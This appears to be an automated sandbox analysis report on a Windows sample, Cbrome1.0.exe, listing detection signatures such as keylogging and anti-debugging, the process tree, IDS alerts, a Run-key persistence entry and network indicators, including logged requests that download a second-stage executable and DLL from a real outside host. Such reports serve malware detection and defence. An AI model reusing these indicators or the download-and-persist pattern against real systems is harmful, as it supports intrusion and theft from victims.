Edit tour

Windows Analysis Report
Cbrome1.0.exe

Overview

General Information

Sample name:	Cbrome1.0.exe
Analysis ID:	1481713
MD5:	4e5fc012718e562ed588de4ebac425e7
SHA1:	a7f47a0159f3c212cc79c2c4abea3ea76fe0e366
SHA256:	2229c7887ef2ed9e18ff0d3c1277c490bd04f53e7a71b31d17244d0166aa0b94
Tags:	exe
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected suspicious sample

Contains functionality to capture and log keystrokes

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

HTTP GET or POST without a user agent

Installs a global mouse hook

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Cbrome1.0.exe (PID: 4864 cmdline: "C:\Users\user\Desktop\Cbrome1.0.exe" MD5: 4E5FC012718E562ED588DE4EBAC425E7)

arphaCrashReport64.exe (PID: 4568 cmdline: "C:\ProgramData\buunn\arphaCrashReport64.exe" MD5: 8B5D51DF7BBD67AEB51E9B9DEE6BC84A)

arphaCrashReport64.exe (PID: 3432 cmdline: "C:\ProgramData\buunn\arphaCrashReport64.exe" MD5: 8B5D51DF7BBD67AEB51E9B9DEE6BC84A)

cleanup

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\buunn\arphaCrashReport64.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Cbrome1.0.exe, ProcessId: 4864, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yghvsw

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update - Source IP: 192.168.2.6 - Destination IP: 39.97.203.118

Timestamp:	2024-07-25T13:23:31.243996+0200
SID:	2028371
Source Port:	49715
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 216.224.127.6 - Destination IP: 192.168.2.6

Timestamp:	2024-07-25T13:24:05.412784+0200
SID:	2011803
Source Port:	9000
Destination Port:	49725
Protocol:	TCP
Classtype:	Executable code was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.6

Timestamp:	2024-07-25T13:23:34.314098+0200
SID:	2022930
Source Port:	443
Destination Port:	49716
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - Possible Malware - Fake Firefox Font Update - Source IP: 192.168.2.6 - Destination IP: 39.97.203.118

Timestamp:	2024-07-25T13:23:36.618258+0200
SID:	2028371
Source Port:	49719
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 216.224.127.6 - Destination IP: 192.168.2.6

Timestamp:	2024-07-25T13:23:56.817000+0200
SID:	2011803
Source Port:	9000
Destination Port:	49722
Protocol:	TCP
Classtype:	Executable code was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.6

Timestamp:	2024-07-25T13:24:11.742039+0200
SID:	2022930
Source Port:	443
Destination Port:	49727
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Source: unknown	HTTPS traffic detected: 39.97.203.118:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.97.203.118:443 -> 192.168.2.6:49719 version: TLS 1.2

Source: Cbrome1.0.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\MFCApplication1\x64\Debug\MFCApplication1.pdb source: Cbrome1.0.exe
Source:	Binary string: D:\jenkins\workspace\ci.arphasdk.build\qtc_out\Release_X64\arphaCrashReport64.exe.pdb source: arphaCrashReport64.exe, 00000005.00000000.2503856741.00007FF647D62000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990688649.00007FF647D62000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990724499.00007FF647D62000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000006.00000000.2585456150.00007FF647D62000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe.0.dr
Source:	Binary string: C:\Users\Admin\Documents\Visual Studio 2008\Projects\D11\x64\Release\D11.pdb source: arphaCrashReport64.exe, 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990860735.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmp, arphaDump64.dll.0.dr
Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb!` source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E1EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_0000023A29E1EF20
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4CEF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00000210AE4CEF20
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D58F78 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,	5_2_00007FF647D58F78
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA79EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	6_2_00000205EA79EF20

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 280
Source: unknown	Network traffic detected: HTTP traffic on port 280 -> 49710

Source: global traffic	TCP traffic: 192.168.2.6:49710 -> 216.224.127.63:280
Source: global traffic	TCP traffic: 192.168.2.6:49712 -> 216.224.127.6:9000

Source: global traffic	HTTP traffic detected: GET /arphaCrashReport64.exe HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /arphaDump64.dll HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /Test.txt HTTP/1.1Connection: Keep-AliveHost: 216.224.127.63:280

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	TCP traffic detected without corresponding DNS query: 216.224.127.63
Source: unknown	TCP traffic detected without corresponding DNS query: 216.224.127.63
Source: unknown	TCP traffic detected without corresponding DNS query: 216.224.127.63
Source: unknown	TCP traffic detected without corresponding DNS query: 216.224.127.63
Source: unknown	TCP traffic detected without corresponding DNS query: 216.224.127.63
Source: unknown	TCP traffic detected without corresponding DNS query: 216.224.127.63
Source: unknown	TCP traffic detected without corresponding DNS query: 216.224.127.63
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E121C0 select,recv,_errno,_errno,_errno,setsockopt,CancelIo,closesocket,SetEvent,

0_2_0000023A29E121C0

Source: global traffic	HTTP traffic detected: GET /arphaCrashReport64.exe HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /arphaDump64.dll HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /Test.txt HTTP/1.1Connection: Keep-AliveHost: 216.224.127.63:280

Source: global traffic	DNS traffic detected: DNS query: wt3z8.cn
Source: global traffic	DNS traffic detected: DNS query: jerryrat2024.oss-cn-beijing.aliyuncs.com

Source: Cbrome1.0.exe, 00000000.00000002.3990079134.0000023A27B0A000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990510595.0000023A29980000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385648295.0000023A27B2E000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298105902.0000023A27B30000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385648295.0000023A27B25000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298309164.0000023A27B32000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385718931.0000023A27B39000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Cbrome1.0.exe, 00000000.00000002.3990510595.0000023A29980000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298105902.0000023A27B20000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385648295.0000023A27B2E000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298105902.0000023A27B30000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385648295.0000023A27B25000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298259527.0000023A27B39000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385718931.0000023A27B39000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawtePCA.crl0
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: Cbrome1.0.exe, 00000000.00000002.3990079134.0000023A27B0A000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990510595.0000023A29980000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385648295.0000023A27B2E000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298105902.0000023A27B30000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385648295.0000023A27B25000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298309164.0000023A27B32000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385718931.0000023A27B39000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cs-g2-crl.thawte.com/ThawteCSG2.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Cbrome1.0.exe, 00000000.00000002.3990510595.0000023A29980000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298105902.0000023A27B20000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385648295.0000023A27B2E000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298105902.0000023A27B30000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385648295.0000023A27B25000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298259527.0000023A27B39000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385718931.0000023A27B39000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Cbrome1.0.exe, 00000000.00000002.3990079134.0000023A27B0A000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990510595.0000023A29980000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385648295.0000023A27B2E000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298105902.0000023A27B30000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385648295.0000023A27B25000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298309164.0000023A27B32000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385718931.0000023A27B39000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
